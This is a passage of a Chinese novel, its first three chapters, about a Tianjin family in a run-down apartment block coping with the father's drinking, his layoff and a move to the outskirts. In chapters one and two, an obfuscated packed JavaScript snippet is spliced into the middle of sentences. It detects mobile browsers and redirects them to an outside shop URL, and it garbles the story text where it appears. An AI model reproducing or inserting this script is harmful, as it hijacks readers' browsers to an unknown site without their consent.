《盐坨桥下》 1. 第一章 “银行里”筒子楼 早晨六点半，痰盂先醒了。铁皮的撞水泥地，搪瓷的磕木头梯，哐啷哐啷从六楼滚到一楼，像一场笨拙的接力赛。“银行里”的早晨是从底下开始的——从痰盂底，从尿盆底，从总是堵住的下水道底。这名儿听着气派，实则是二十年前人民银行职工的福利房，红砖墙，水泥地，统共六栋，围成个口字。早先住的是点钞的、记账的、穿中山装拎黑皮包的，如今中山装磨破了领子，皮包拉链坏了半截，里头住的也杂了：有棉纺厂下岗的，有街口摆摊被城管撵过来的，还有像姚华他爸这样，整天拎酒瓶的——“银行里”可不是银行它产不出钞票，只出产各家各户的牢骚、孩子的哭喊和楼道里永远散不去的煤烟味。 姚华蹲在三楼水池边刷饭盒。水池是水泥砌的，边沿糊着黄垢，摸上去黏手。水龙头拧到左尽头，滴答；拧到右尽头，还是滴答。这水龙头也像这楼里的人，你指望它往东，它偏给你滴滴答答磨洋工。不锈钢饭盒底结了块焦黑的粥疤，昨儿个父亲用它架火上热粥，火苗蹿起来舔了窗帘边，留下个焦黄的卷儿。姚华用指甲抠疤，抠下来的黑渣落在池子里，浮在水面上像散开的蚂蚁——这楼里蚂蚁也多，不光搬饭渣，有一回还把二楼老孙家掉地上的粮票拖走了半张。 隔壁李嬢嬢端着尿盆过来，盆沿的搪瓷掉了几块，露出里头黑铁，锈迹斑斑的。“介孩子。”她嗓子眼里像糊着痰，手在姚华脑袋上胡撸一把，“头发咋跟秋后的草芥子似的，你妈没给你煮个鸡蛋补补？”李嬢嬢是早先储蓄所的出纳，手指头捻钞票捻得飞快，如今捻的是白菜帮子上的泥。她男人跟人跑了，她逢人便说：“跑得好，省得跟我抢咸菜。” 姚华不言语，把饭盒斜着接水。水一滴一滴，慢得让人心慌。筒子楼的早晨就是一场漫长的等待——等水管子通，等煤球着，等醉了一宿的父亲睁开眼。等的时候，你就听吧：西头那家又在打孩子，孩子哭得像杀猪；东头那屋收音机开得震天响，放的是《杨家将》，说书人一拍惊堂木，整层楼的窗玻璃都跟着颤。 屋里传来碗碎的声音。脆生生的，是那只蓝边白瓷碗，全家就剩三只完好的了。姚华心里默数：一、二、三……第四声没等来，倒听见母亲倒抽气，短促，像针尖扎进肉里又拔出来。他扒着门缝瞅：母亲蹲在地上捡瓷片，手指捏着最大那片，血珠子冒出来，圆滚滚的，在瓷片上颤两下，“嗒”一声滴进砖缝。她把手心一攥，继续捡。父亲坐在床沿，拎着直沽高粱酒瓶子，瓶底剩个黄澄澄的底儿。他眼睛盯着墙上的水渍印——那印子年头久了，泛着黄，像幅画坏了的山水，他天天看，能看出神仙来，也能看出妖精来。 “瞅嘛瞅！”父亲眼珠子斜过来，白多黑少。 姚华缩回头。水池边饭盒里的水刚漫过黑疤，他端起来晃晃，水浑了，黑疤化开些，像墨在宣纸上洇出了毛边。倒掉，再接。这回水龙头突然大方了，哗哗流，楼下的陈奶奶正跺脚骂街：“哪个缺德带冒烟的又把白菜帮子堵下水道！全家吃屁喝风的主！”陈奶奶以前是食堂蒸馒头的，退休了，如今蒸不了馒头，专蒸一肚子火气。 昨儿放学，同桌付志强问他：“你爸脑子是不是让门挤了？”付志强他爸在自行车二厂当车间主任，穿四个兜的中山装，兜里别两支钢笔，一支红的批条子，一支黑的记账，甭管什么颜色灌的应该都是鸵鸟墨水。有回来送雨衣，站在教室门口喊“志强”，声儿亮得能把窗户震出窟窿。姚华父亲从没来过学校，家长会都是母亲去，坐在最后一排犄角旮旯，散会时第一个溜——她左脚鞋底开了胶，走快了啪嗒啪嗒响，像给散会伴奏。 “你爸连自行车都蹬不利索。”付志强又说，嘴里嚼着泡泡糖，酸臭味儿喷姚华一脸。姚华把新发的大白橡皮切成四块，分给前后桌，偏不给付志强。回家路上他数地砖，数到第一百块时想：不会骑自行车的人，是不是就像驴拉磨，转一圈是这，再转一圈还是这，一辈子也转不出这个磨道？又想，银行里筒子楼这些人，大概也都是转不出磨道的驴——区别只在于有的驴戴了眼罩，有的驴没戴。 饭盒终于刷净了。对着灰蒙蒙的天光照，不锈钢底映出张变形的脸：眼睛大得像铜铃，本来瘦得像锥子一样的下巴更尖了。他用袖口擦干，抱在怀里。屋里传来鼾声，父亲又睡过去了，鼾声拉风箱似的，中间夹着咯痰的咕噜声，像嗓子里养了只□□。母亲在楼道里的厨房生炉子，煤球呛人的烟从门缝钻出来，她在里头咳，一声追一声，咳得掏心掏肺。对门老赵家媳妇隔着布帘子喊：“姚嫂子，您这炉子该通通啦！熏得我家孩子直咳嗽！”母亲忙应：“哎，哎，这就通。”其实通不了，通炉子的铁钎子早让父亲拿去换酒了。 姚华溜达到公共厕所旁的窗户边。银行里六栋筒子楼围成个“口”字，晾衣绳横七竖八，挂满万国旗似的衣裳：打了补丁的劳动布裤子，洗得发白的蓝褂子，小孩的开裆裤滴滴答答往下滴水。东头王舅母又在阳台上唱评剧，嗓子劈了，像破锣：“巧儿我自幼儿许配赵家——”她男人老王前年让大卡车轧死了，厂里赔了三千块钱，她天天唱，唱了两年，调儿都跑到海河对岸去了。西头陈爷爷在修自行车，缺胳膊少腿的车架子躺了一地，他手里扳手叮当响，像在给王舅母敲梆子。陈爷爷不是正经修车的，是捡破烂顺带捣鼓，修好一辆卖十五块，修不好就拆零件，螺丝帽、车铃铛、破车座，摆了一地，像摆摊卖杂碎。 母亲出来倒垃圾。簸箕里是碎瓷片和粥渣，她左脚有点跛——昨儿让父亲推倒崴的。姚华盯着她的背影，薄得像张纸，风大点儿就能吹跑。忽然想起那滴血，现在该凝在砖缝里了吧？蚂蚁会不会把它当宝贝搬走？蚂蚁要血干嘛呢？也许它们也有喝醉了打架的工蚁，需要补补身子。这楼里的蚂蚁见多识广，搬过粮票、糖纸、掉地上的避孕套——有一回姚华看见一队蚂蚁吭哧吭哧拖一个用过的套子，那阵势，像给哪个蚂蚁国王运帐篷。 他跑回家，从床底摸出粉笔头——上学路上捡的，红色，短得捏不住。在墙上画了个方框，是银行里。画六条竖线，是筒子楼。在南楼三层画个圈，擦掉，又画上。粉笔灰扑簌簌落，落在补了三回的塑料凉鞋上，红粉笔灰像锈。墙上早不是原来的白，有蓝墨水甩的点，有小孩的脏手印，有拍蚊子留下的血渍，还有不知哪年哪月谁用铅笔写的“聂东方我爱你”——聂东方是一所民办高校毕业的，毕业后就和一个卖烤肠的结婚了，现在在街对面卖烤肠。这墙像一本写满又擦掉的账本，一笔糊涂账。 厨房飘出糊味儿。母亲在热昨夜的剩粥，锅底又添了新疤。“妈。”姚华站在门口。 “嗯？” “往后我关火。” 母亲回头，眼睛红着，不知是烟熏的还是咋的。她张了张嘴，喉结动了动——女人有喉结，是这两年才显出来的，像有什么话一直卡在那里，咽不下去，吐不出来。最后只说：“摆桌子去。” 咸菜碟子摆上小方桌。萝卜条是母亲腌的，切得粗细不均，撒些五香面和盐，盐还撒得不匀，有的齁死人，有的淡出鸟。父亲晃悠出来，眼泡肿得像桃，一屁股坐下去，凳子腿“吱呀”一声惨叫。三个人喝粥的声音响极了：父亲呼噜呼噜，像猪抢食；母亲小口小口抿，像鸟啄米；姚华把粥含在嘴里化开，一粒一粒数。数到第五十三粒时，听见楼下有人吵架，是为公用水池谁多占了两分钟。银行里的人吵架也有特色，不光骂娘，还要算账：“你上回用了我一撮碱面还没还！”“你孩子昨天踢球砸我家玻璃，那玻璃八毛钱一块！” 父亲喝了半碗就撂下筷子，盯着粥面发呆。粥面上结了层膜，轻轻一晃，颤巍巍的，像这日子，一捅就破。“再喝点吧。”母亲声音像蚊子哼。父亲不应，站起来往外走，门“砰”地关上，脚步声在楼道里回荡，渐渐沉下去，像石头落进深井，连个水花都没有。但银行里这口井太浅，什么动静都藏不住——五分钟后就有人传，老姚又去海河边上喝闷酒了。 “你爸……溜达去了。”母亲说，边说边收拾碗筷，手背上的裂口沾了粥汁，疼得她嘴角一抽。她不说喝酒，说溜达，像溜达是个正经事。银行里的人说话都这样，把难堪的事裹上一层糖纸，尽管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119408|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖纸早就破了，漏出里头的苦。 姚华知道父亲去哪儿——顺着新兴路往海河走，在河沿石牙子上一坐半天。有回他偷偷跟去，看见父亲对着浑黄的河水说话，说单位那点破事，说经理不是玩意儿，说三十八块五的工资不够买酒。说完从兜里掏出绿色小扁瓶，抿一口，继续说。河面上漂着烂菜叶子、塑料袋、死耗子，还有一截不知是嘛的玩意儿，胀得发亮。父亲对着那截玩意儿点了点头，像遇到了知音。 背上书包时，母亲往他兜里塞了个煮鸡蛋，温乎的。“放学直接家来，别瞎跑。” “嗯。” 楼下，付志强正被他爸抱上二八大杠后座。车铃铛“叮铃铃”一串脆响，付志强朝姚华挤眉弄眼，车子“嗖”地蹿出去，车链子哗啦啦响，像在唱一出得意的戏。姚华摸摸兜里的鸡蛋，沿着墙根走。墙上满是粉笔画：歪脖子树，四不像的狗，“屈超是个王八羔子”之类的骂人话。他找到昨天自己画的乌龟，用鞋底碾了又碾，碾成一团模糊的红。这墙上的画也像银行里的人，今天你画上去，明天他涂掉，谁也不记得谁画过什么。 上课时，班主任刘老师让用“幸福”造句。 付志强举手：“我爸骑车带我去看狗熊，倍儿幸福！” 穿粉裙子的马爱灵说：“我妈带我去劝业场买了个会睁眼闭眼的娃娃，幸福！” 轮到姚华，他站起来，盯着教室后墙的世界地图。地图边角卷着，用图钉按着，钉锈了，留下几个黄点。他看了好久，久到刘老师用板擦敲黑板：“姚华！梦游呢？” 他说：“蚂蚁把血搬回洞，幸福。” 全班哄堂大笑。刘老师皱眉头：“胡咧咧嘛呢，坐下！”姚华不明白，他说的是真事儿——血困在砖缝里多憋屈，蚂蚁搬走它，带它去别处，这不算幸福吗？他又想，银行里那些人要能被蚂蚁搬走就好了，从这个砖缝搬到那个砖缝，也算挪了个窝，见了新世面。 放学时飘雨星儿。姚华把书包顶头上跑，跑到银行里筒子楼时雨正大。走廊挤满了躲雨的人，骂天气，骂厂长，骂菜市场萝卜又涨了五分钱。李嬢嬢抓了把瓜子塞给他：“刚炒的，咸口的，倍儿脆！”他摇头，钻进家门。母亲还没回，准是去街道糊纸盒了——糊一个三分钱，糊一千个能给父亲换瓶直沽高粱。屋里暗得像傍晚，他没拉灯，坐在床沿晃腿。父亲的酒瓶子还立在桌上，标签被手磨得发白，“直沽高粱”四个字只剩半边，像被日子啃掉了肉。这瓶子也算银行里的老住户了，比有些人住得还久。 他拿起瓶子对着窗户看，瓶底残留的液体黄蒙蒙的，像人害了黄痘病的眼珠子。放回去时小心翼翼，必须和原来的水渍圈严丝合缝——那是父亲画下的界，不能错。银行里处处是界，水池使多长时候，晾衣绳挂几件衣裳，炉子占多大地方，都是界，越穷的人，界划得越清，因为越没得可让。 雨砸在铁皮屋顶上，噼里啪啦，像一万个孩子在楼顶蹦。姚华扒着窗户看：晾衣绳上的衣服在风里狂舞，王舅母那件红衬衫鼓成个气球，一会儿胀一会儿瘪，像在喘气。陈爷爷忙不迭收车胎，淋湿的车胎黑亮黑亮的，在地上盘成一圈，像条伺机而动的蛇。三楼那家刚搬来的年轻夫妻在抢收被子，男的骂女的笨手笨脚，女的回嘴：“你利索，你利索咋不下岗呢！”得，又一桩“银行里”新鲜热乎的吵闹。 看了半晌，眼睛酸了。回头时，墙上那个粉笔圈在昏光里隐隐浮现——怎么擦都有印子，墙皮把它吃进去了，吐不出来了。 就像“银行里”这些人，这些事，一旦活过这么一遭，就永远凿在这栋筒子楼的砖缝里了。雨还在下，洗着晾衣绳上的旧衣裳，洗着窗台上的煤灰，洗着胡同里积了一冬的泥。洗不掉的，是那股子混着煤烟、咸菜、尿臊、宿醉和一千种不明来历气味的，银行里特有的味儿。那气味钻进砖缝，钻进被褥，钻进人的骨头缝里，多少年都散不净——后来银行里拆了，盖了新楼，住进去的人偶尔还会在半夜闻到，以为闹鬼，其实哪是鬼，是从前那些穷日子，不肯投胎，还在那儿晃悠呢。 2. 第二章 包子铺的败家子 姚建国的档案袋薄得能透光，搁在劳动科老陈桌上，老陈拿指头一敲，“噗噗”响，像拍西瓜——还是个没熟透的。“小姚啊，”老陈眯起眼，“你这档案，是让耗子啃过咋的？” 那年秋天，风里掺着煤渣和海腥气。姚建国接过袋子，顺手掂了掂，轻得跟闹着玩儿似的。他见过厂里老劳模的档案，厚得能防身，里头奖状摞奖状，光荣摞光荣，压得人脖子都短一截。他的倒好，统共三张纸：招工登记表、转正定级表，外加一张旷工扣款通知——光荣没有，污点倒挺突出。他把袋子对折塞进挎包，挎包连个饱嗝都没打，依旧瘪得像饿了三天的肚皮。 出门时，他爹——那位打过仗的老兵——正蹲胡同口给邻居修自行车。老爷子的理论向来朴实：“手艺在手，饿不死狗。”见儿子出来，他头也不抬，油污手在晨光里晃成两面信号旗。“去了踏实干，”老爷子嘱咐，“国营单位，铁饭碗。” 姚建国“嗯”了一声，心里那团麻却越缠越紧。铁饭碗？他瞅了瞅自己那双捏不成褶的手——怕是连泥碗都端不稳。路过“银行里”胡同牌时，他特意多瞅了两眼。蓝底白字，方方正正，透着股财大气粗的庄严。可惜他住在“银行里”小半辈子，连储蓄所的门朝哪边开都没摸清，仿佛那三个字是老天爷随手开的玩笑。 包子铺在山东路，门脸上“天津包子”四个字掉了笔画，“包”字少一撇，看着像“天津勺子”。老师傅教他捏褶子，十八个褶子要匀要溜，少一个天津卫的老饕都能吃出来。姚建国捏了三天，成果颇为震撼：有的包子褶子挤成一疙瘩，像被门夹过的胖脸；有的干脆咧开口，馅儿露得坦坦荡荡。老师傅把面团往案板上一摔：“介孩子的手，是赁来的吧？使完赶紧还回去！” 于是调去后厨洗碗。这活儿倒合他脾性——水是热的，手泡发了也不疼，最主要的是不用跟人搭茬。透过油花花的窗户，他瞅见前厅的食客，个个吃得从容不迫，咬包子先开窗（咬个小口），再喝汤（嘬汁），最后才吃馅。那副笃定劲儿，让姚建国觉得他们吃的不是包子，是人生规划。 晌午歇工，他蹲后院看蚂蚁搬家。蚂蚁列队整齐，扛着米粒喊号子似的往前冲。有个厨子过来倒泔水，顺脚轻踹他屁股：“癔症啥呢？”姚建国不动弹，等厨子走了，他捡根草棍，把一只掉队的蚂蚁拨回队伍——这大概是他一天里干得最像样的事儿。 下午马科长来了。科长脸上芝麻坑密布，说话时坑儿都在颤悠：“姚建国！又躲这儿孵蛋呢？”姚建国慢腾腾起身，拍拍土。马科长凑近一闻，眉毛挑成八字：“又喝了？” “没。” “没？”马科长冷笑，“上个月旷工七天，介月刚过半又旷三天。你是把包子铺当疗养院了？” 姚建国盯着科长中山装第三颗扣子——线头开了，顽强地支棱着。他想说点什么，嘴张了张，最后只憋出个闷屁似的动静，转身把一摞盘子摁进水池，水花溅湿了前襟，像为他莽撞的沉默盖了个章。 他想起三年前接介绍信那晚。老爷子翻着泛黄的相册，里头工装蓝汪汪一片：“建国，当工人，光荣！”可托遍关系，只捞来个“饮食服务公司”的红戳。姚建国捏着那张薄纸，心想：光荣是光荣了，可我这光荣，它冒热气儿啊——包子铺的热气儿。 从那以后，他就开始了有节奏的混。反正铁饭碗砸不烂，顶多磕个口儿。他每天准时来、准时走，像海河上的摆渡船，天天动，却从来没离开过这条河。自行车？他不会骑，也买不起。银行？他住“银行里”却从没摸过存折，仿佛那三个字是贴错门牌的行为艺术。 那晚下工，他溜达到卫津河。桥灯亮了，光带在水面上劈开一道道口子。他坐桥墩上，掏出小扁瓶抿了一口。直沽高粱辣得他龇牙咧嘴，对岸轮船“呜——”地一嗓子，像替他喊出了声。 到家快十一点。张玉芬在灯下补袜子，袜跟磨出个洞，她拿碎布垫上，针脚密得像在绣花。见他回来，她去热白菜熬粉条——粉条已经熬得魂飞魄散，化在汤里找不着形。 “不对口儿？”她问。 “饱了。”他答。 其实胃里空得能跑马。他瞅着媳妇补袜子，灯光把她的影子投在墙上，放得老大，像个沉默的巨人。 “今儿马科长又骂我了。” 张玉芬针尖顿了顿：“骂就骂吧，你干好了，他骂啥？” 姚建国想说“我干不好”，话到嘴边又咽了回去。他躺床上看天花板裂缝，那裂缝歪歪扭扭，像个潦草的“人”字。他想：人为什么非得干活？蚂蚁干活为过冬，人干活为嘛？为补这永远补不完的袜子？ 下岗的消息是1995年春天来的，带着柳絮，轻飘飘的，却压得人抬不起头。 马科长念文件，“优化劳动组合”六个字像六颗钉子。姚建国坐最后一排数前头的后脑勺，数到四十三，听见自己名字。 “姚建国，买断工龄。” 办公室里，马科长递过来信封：“两万，签个字，咱俩就两清了。” 姚建国捏了捏，挺厚。“还有别的选么？” “有啊，每月一百二，发到退休。”马科长笑，麻子坑儿里都漾出得意，“你选哪个？” 姚建国选了买断。签字时意外地稳当，字写得比结婚登记时还周正。走出门，他觉得身子轻了——轻得能顺着柳絮飘上天。挎包这回真鼓了，两万块砖头似的硌着腰。 经过前厅时，他瞥见刚出笼的包子，有几个塌了底，馅儿漏出来，像咧着嘴笑他。 他没告诉张玉芬。信封藏床底，用旧报纸盖好，盖得像在埋宝藏。晚上吃饭，张玉芬说邻居老刘下岗领了一万，“这一万哪够一辈子？”她瞟他一眼。姚建国埋头扒饭，饭粒粘在嘴角，他都没觉着。 夜里他做梦，梦见数钱。数着数着，大团结变成了包子，包子咧嘴笑，笑着笑着，褶子全散了，露出的不是馅，是白花花的纸——和他的人生一个德行。 第二天起，他开始了职业溜达。早上出门，路线固定：家→海河→劝业场→百货大楼。百货大楼门口看人擦鞋，一看半个钟头。擦鞋的操一口温州口音，也是刚来这里谋生活的，起初防着他，后来习惯了，当他是尊摆错的雕塑。 晌午啃馒头就自来水，下午接着溜达。日子变成了一场漫长的、沉默的散步。张玉芬问累不累，他说累；问马科长还骂人不，他说骂。谎话说多了，连自己都觉得上班这事可能真发生过。 第一次动那笔钱是三个月后。姚华要交学杂费，八十三块五。张玉芬翻遍抽屉还差二十多。“明儿我去借。”她说。姚建国没吭声，夜里摸出一百压缸子底下。 张玉芬举着钱问哪来的。“奖金。”他说。张玉芬瞪他：“你们包子铺发奖金？发馒头还差不多！”但她没再问，那声叹息拖得老长，从屋里一直拖到屋外。 信封一天天瘦下去。姚建国的借口花样百出：先进奖、加班费、捡的……有回张玉芬盯着他：“建国，咱可不能学偷啊。”姚建国点头如捣蒜，点得自己都信了自己是个良民。 最后一次数钱，还剩三百七十张。那天姚华生日，他抽出一百一。买肉十五，蛋糕八块，找回的钱摊在床上，票子边儿都卷了，像开败的菊花。摸着这些钱，他突然想起自己住在“银行里”却从没进过银行——这些钱和他一样，有个正经名分，却没个正经去处。 晚上吃面，姚华说：“爸，你今天没喝酒。”姚建国一愣，笑了——可不是，忘了。张玉芬给他拨面条，面条一夹就断，断在碗里，像截断了的糊涂账。 夜里，张玉芬终于摸到了床底的秘密。她举着空了一半的信封，手抖得像风里的叶子：“姚建国，介是嘛？” 姚建国点烟，劣质烟呛得他眯起眼。 “多咱的事？” “春天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119409|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “春天……”张玉芬重复着，像在嚼一枚苦核桃，“现在叶子都黄了。” 接下来是沉默。长得能听见灰尘落地的沉默。最后她把信封摔他身上，钞票雪花似的散开。“还剩多少？” “三百七十张。” “两万，花了快一万六。”张玉芬声音突然平了，平得像结冰的河面，“钱呢？吃喝了？赌了？还是撒大街上听响了？” 姚建国开始算账：学费三百，修房顶五百，酒钱……从散装换瓶装，从小扁瓶升级成大玻璃瓶。钱像水，从他指头缝漏走，连个水花都没溅起来。他甚至不知道银行的门槛有多高——这些钱就在他怀里、兜里、床底下，静悄悄地消失了。 张玉芬蹲下来，一张张捡钱，捡得慢极了，每张都抚平、叠好。全捡完后，她把钱按在他胸口：“收好，介是你下半辈子的命。” 她背对他躺下。姚建国坐在黑暗里，胸口那叠钱烫得他心慌。他想起马科长递信封时的表情，当时觉得两万是座山，能靠一辈子。原来山这么不经靠。 第二天他照样出门，走到海河边掏出钱。风吹起最上面一张，他按住，从头数。数到第三百七十张，太阳正从楼缝挤出来，照得国徽金闪闪。 他把钱揣回内兜，贴着心口放。走到解放桥，碰见以前同事老赵——下岗后摆摊卖袜子。 “老姚！好久不见！” 姚建国点点头。老赵递烟，他接了。俩人靠栏杆上吞云吐雾，看河里的船突突突地喘气。 “后来干嘛了？”老赵问。 “没干嘛。” “我也没干嘛。”老赵咧嘴笑，“介世道，能干嘛？卖袜子呗，卖一双赚五毛，一天站十个钟头，腿都不是自己的了。” 抽完烟，老赵走了。姚建国站了一会儿，手伸进内兜摸了摸那叠钱。突然他转身往家走，越走越快，最后跑起来。 跑过劝业场，想起第一次工资十八块五，给张玉芬买了条红纱巾——她嫌艳，一直压箱底。跑过百货大楼，想起姚华出生那晚，他在产房外转磨磨，转得护士都想给他挂号瞧病。跑过山东路，包子铺招牌更破了，“包”字少的那一撇，终究没人给补上。 跑回“银行里”胡同时，他喘得像风箱。推开门，张玉芬在洗衣裳，姚华写作业。俩人都抬头瞅他——瞅这个提前“下班”的怪人。 姚建国走到桌前，从内兜掏出那叠汗湿的钱，放在桌上。票子软塌塌的，像累瘫了。 “还剩三千七，”他嗓子哑得像破锣，“往后……不瞎造了。” 张玉芬瞅瞅钱，再瞅瞅他。姚华也瞪圆了眼。屋里只有洗衣板的咯吱声，一声一声，像在磨着时间。 过了老半天，张玉芬起身，用围裙擦擦手，走过来数钱。数两遍，抽出七十张。 “介三千，得存银行，”她说，顿了顿，“虽然咱没存过……我打听打听咋存。介七百，过日子。” 姚建国接过三千，手指碰着她手指——冰凉。他忽然想起结婚掀盖头时，她的手也这么凉。那时他想，得捂热这双手，捂一辈子。 “玉芬，”他叫了一声，陌生得自己都一愣，“我对不住你。” 张玉芬没说话，转身接着洗衣裳。咯吱咯吱，声音更响了，像要把什么脏的、旧的、不像话的东西，都搓干净。 姚华低头削铅笔，木屑卷曲着落下，落在钱上，落在父亲开胶的鞋面上，落在这个平常得不能再平常的下午。屋外传来“磨剪子嘞戗菜刀”的吆喝，混着孩子的笑闹，混着远处不知哪家工厂最后一波骚动——生活还在继续，混沌的、盲目的、不管不顾的，像海河的水，流走了就回不来。 而他，这个住在“银行里”却不知存折长啥样的人，这个捏了半辈子包子却捏不成一个圆褶的人，终于要揣着他仅剩的、被汗浸软的三千七百块钱，去面对那个他躲了半辈子的、真实的世界。 3. 第三章 迁徙的闹剧 搬家这事儿，是一九九一年秋天提上日程的。那一年深圳证券交易所敲了锣，住在“银行里”筒子楼的姚建国，既弄不清深圳在东南西北，更搞不懂证券是骡子是马。他只从酒友老邢的唾沫星子里捞出个信儿：老邢的远房表舅，能“安排好事儿”。 “嘛好事儿？”张玉芬正跟姚华校服领子上那圈红领巾磨出的白茬较劲，搓衣板吭哧吭哧响，像在给日子喊号子。 “就……好事儿呗。”姚建国仰脖子把最后一口直沽高粱灌下去，酒液顺嘴角流进洗得发硬的领子，“反正，比咱这强。” “介儿咋了？” 姚建国环顾这九平米。双人床占去半壁江山，床底下塞着三口人四季的鞋，鞋帮上的尘土能论年份计价。墙上糊的是八七年的报纸，“大干一百天”的标题已经卷了边，泛着陈年旧事的黄。窗户正对着公共厕所，夏天不敢开，尿臊味混着隔壁王寡妇家煎带鱼的腥气，能在屋里酿出另一番人生滋味。 他没说出口的是：银行里这筒子楼，听着体面，早被时代甩出八丈远了。新兴路上的国营厂子，关门比开门还利索。去年电报大楼镶了那老些玻璃幕墙，亮得晃眼，衬得这片五十年代的苏式楼群，活像一堆发了霉的积木，还是缺了棱角的。 张玉芬把校服拧成一根倔强的麻花，水哗哗砸进搪瓷盆，声响空洞。“华子在星星小学刚念熟，”她声音小得像自言自语，“转学……” “中环线外就没小学？”姚建国把空酒瓶墩在桌上，瓶底一圈黑渍，像树木的年轮，“早打听过了，盐坨村小学，离新家就五分钟道儿。” “盐坨村……”张玉芬手停了。她想起上个月蹬三轮去中环线外卖鸡蛋，路过那片地界。土路两边是蔫头耷脑的菜地，远处几个大烟囱冒着黄烟，不紧不慢的，像老天爷抽旱烟。几个半大孩子在沟渠边挖泥鳅，小腿肚子糊着黑泥，像是刚从地里长出来的根茎。 姚华扒在门框上听，耳朵竖得比兔子还灵。今天语文课刚学了“迁徙”，老师说那是鸟儿随季节搬家。他想，人随嘛搬家？随酒桌上的话？随一张油印的纸？还是随父亲眼里那两簇飘忽不定、风一吹就灭的火星儿？ 三天后的礼拜日，姚建国真把那“表舅”领回来了。姓胡，一身涤纶中山装绷得紧紧的，兜里别着支钢笔，墨水洇出口袋一小片忧郁的蓝。胡表舅说话有个习惯，爱用食指关节叩桌面，叩一下，崩一句：“盐坨村明年开春盖幼儿园……”“自来水管道下月重铺……”“友谊罐头厂正招临时工，我有门路……” 每叩一下，姚建国的腰板就不自觉挺直一分。张玉芬低着头倒茶，廉价的茉莉花茶碎末在杯底淤成青黑色的渣滓，沉甸甸的。 最后，胡表舅从他那人造革公文包里，慢悠悠抽出一张纸。油印的，字迹洇得像哭花了的妆。“房管局特批的换房单，”他食指重重一点纸面，仿佛盖下个权威的戳，“银行里筒子楼一间，九平米。换盐坨村公房一间，十二平米。老姚，你赚了。” 姚建国接纸的手有点抖。他识字不多，但阿拉伯数字认得门儿清。九和十二，差着三。三平米多大？他目测屋里那张方桌，大概能多放一张桌子，兴许还能再挤进一把凳子——如果凳子腿够细的话。 “多咱搬？” “下月十五号前，清空。”胡表舅语气斩钉截铁，像宣布一项政令。 胡表舅走了，留下满屋廉价香烟和官僚气息的混合味儿。姚建国在屋里踱步，九步到头，转身，再九步。“十二平！”他重复着，像在念一句咒语，“还带个小院！” “哪来的院？”张玉芬问。 “平房，门口那块地，就算咱的院！”姚建国手臂一挥，颇有指点江山的意味。 张玉芬不说话了，端起搪瓷盆去公共水池。水龙头前排着队，李婶在洗韭菜，绿汁子顺着池壁往下淌，像流着绿色的、无声的泪。“听说要搬中环线外去？”李婶压低声音，带着胡同里特有的关切与打探。 “嗯。” “哎哟，那可是远了。”李婶甩甩手上的水珠，“不过房子大点儿好，华子眼瞅着大了，总得有个自己窝儿。” 张玉芬苦笑。窝？她想起胡表舅皮鞋帮上那新鲜的黄泥点，和银行里水泥地上的灰土不一样。那泥，带着一股子荒野的、生土的气味。 搬家前夜，姚华整理他抽屉里的“宝贝”：玻璃弹珠七颗（猫眼绿那颗是从付志强手里赢的，代价是脑门上挨了个包）、水浒卡三十一张（缺了宋江和武松，永远凑不齐的遗憾）、半截红蓝铅笔、一本卷了边的《三国演义》上册。下册找了半年，可能在哪个垃圾堆，也可能早被王寡妇收去引炉子了。 《三国演义》是从废品站扒拉出来的，封面没了，开篇就是“话说天下大势”。他爱看诸葛亮舌战群儒，看那些穿长袍的人用嘴巴打仗，字字如刀。现实里的战争简单多了——父亲摔个碗就是冲锋号，母亲持久的沉默是战壕，而他，是缩在墙角等待硝烟自行散尽的小兵。 书页在第一百二十回那儿撕破了，正讲到“司马懿诈病赚曹爽”。姚华用糨糊粘过，可惜手笨，粘反了一页，故事接不上茬。他盯着那些颠倒的文字瞎想：要是搬家能把日子也粘好，该从哪儿撕开？又该用嘛牌子的糨糊？ 凌晨四点，搬家公司的老解放卡车来了。车帮上用红漆写着“立民搬家”，漆皮龟裂得像干旱的土地。两个搬运工裹着军大衣跳下车，呵出的白气在路灯下聚了又散，像游荡的魂。 家当少得令人心酸：一张吱呀作响的床、一个空荡荡的立柜、一张油渍麻花的方桌、四把颜色不一的凳子、两个樟木箱子。箱子是张玉芬的嫁妆，锁头早坏了，用麻绳五花大绑。搬运工抬柜子时嘀咕：“空的？”确实是空的——值钱点（或者说，能穿）的衣服都在床底下的包袱里，柜子只是个象征，摆给过去的岁月看。 姚华抱着他的《三国演义》坐进驾驶室。司机是个络腮胡，递给他半块烤山芋：“孩儿，凑合吃。”山芋皮烤焦了，一股苦味混着稀薄的甜。卡车发动时，他回头从后窗看。 银行里筒子楼，在黎明前最黑的时刻，只剩下一个沉默的剪影。三楼那个窗口——他家的窗口——还亮着灯，母亲在做最后检查，看有没有落下什么不该落下的。灯光黄蒙蒙的，像只疲倦至极的眼睛，勉强眨了一下，终于灭了。 车过新兴路。早点铺刚支起油锅，炸果子的香气凶猛，却混不进浓重的柴油味里。环卫工在扫街，大竹帚划过地面，刺啦刺啦，像给这个混沌的早晨拉开一道苍白的口子。路过劝业场，霓虹灯还亮着，在渐亮的天光里显得黯淡而多余。 “爸，”姚华突然问，“中环线外，有劝业场吗？” 